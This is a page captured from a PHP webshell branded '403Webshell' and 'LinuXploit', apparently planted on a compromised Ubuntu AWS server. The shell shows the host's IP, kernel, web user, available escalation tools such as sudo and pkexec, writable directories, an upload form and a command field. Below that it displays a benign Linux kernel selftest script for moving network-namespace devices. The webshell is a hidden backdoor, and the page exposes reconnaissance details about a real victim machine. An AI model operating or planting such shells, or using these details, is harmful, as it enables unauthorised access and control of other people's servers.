403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/modules/6.8.0-1029-aws/build/tools/testing/selftests/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/modules/6.8.0-1029-aws/build/tools/testing/selftests/net/netns-name.sh
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0

source lib.sh
set -o pipefail

DEV=dummy-dev0
DEV2=dummy-dev1
ALT_NAME=some-alt-name

RET_CODE=0

cleanup() {
    cleanup_ns $NS $test_ns
}

trap cleanup EXIT

fail() {
    echo "ERROR: ${1:-unexpected return code} (ret: $_)" >&2
    RET_CODE=1
}

setup_ns NS test_ns

#
# Test basic move without a rename
#
ip -netns $NS link add name $DEV type dummy || fail
ip -netns $NS link set dev $DEV netns $test_ns ||
    fail "Can't perform a netns move"
ip -netns $test_ns link show dev $DEV >> /dev/null || fail "Device not found after move"
ip -netns $test_ns link del $DEV || fail

#
# Test move with a conflict
#
ip -netns $test_ns link add name $DEV type dummy
ip -netns $NS link add name $DEV type dummy || fail
ip -netns $NS link set dev $DEV netns $test_ns 2> /dev/null &&
    fail "Performed a netns move with a name conflict"
ip -netns $test_ns link show dev $DEV >> /dev/null || fail "Device not found after move"
ip -netns $NS link del $DEV || fail
ip -netns $test_ns link del $DEV || fail

#
# Test move with a conflict and rename
#
ip -netns $test_ns link add name $DEV type dummy
ip -netns $NS link add name $DEV type dummy || fail
ip -netns $NS link set dev $DEV netns $test_ns name $DEV2 ||
    fail "Can't perform a netns move with rename"
ip -netns $test_ns link del $DEV2 || fail
ip -netns $test_ns link del $DEV || fail

#
# Test dup alt-name with netns move
#
ip -netns $test_ns link add name $DEV type dummy || fail
ip -netns $test_ns link property add dev $DEV altname $ALT_NAME || fail
ip -netns $NS link add name $DEV2 type dummy || fail
ip -netns $NS link property add dev $DEV2 altname $ALT_NAME || fail

ip -netns $NS link set dev $DEV2 netns $test_ns 2> /dev/null &&
    fail "Moved with alt-name dup"

ip -netns $test_ns link del $DEV || fail
ip -netns $NS link del $DEV2 || fail

#
# Test creating alt-name in one net-ns and using in another
#
ip -netns $NS link add name $DEV type dummy || fail
ip -netns $NS link property add dev $DEV altname $ALT_NAME || fail
ip -netns $NS link set dev $DEV netns $test_ns || fail
ip -netns $test_ns link show dev $ALT_NAME >> /dev/null || fail "Can't find alt-name after move"
ip -netns $NS link show dev $ALT_NAME 2> /dev/null &&
    fail "Can still find alt-name after move"
ip -netns $test_ns link del $DEV || fail

echo -ne "$(basename $0) \t\t\t\t"
if [ $RET_CODE -eq 0 ]; then
    echo "[  OK  ]"
else
    echo "[ FAIL ]"
fi
exit $RET_CODE

Youez - 2016 - github.com/yon3zu
LinuXploit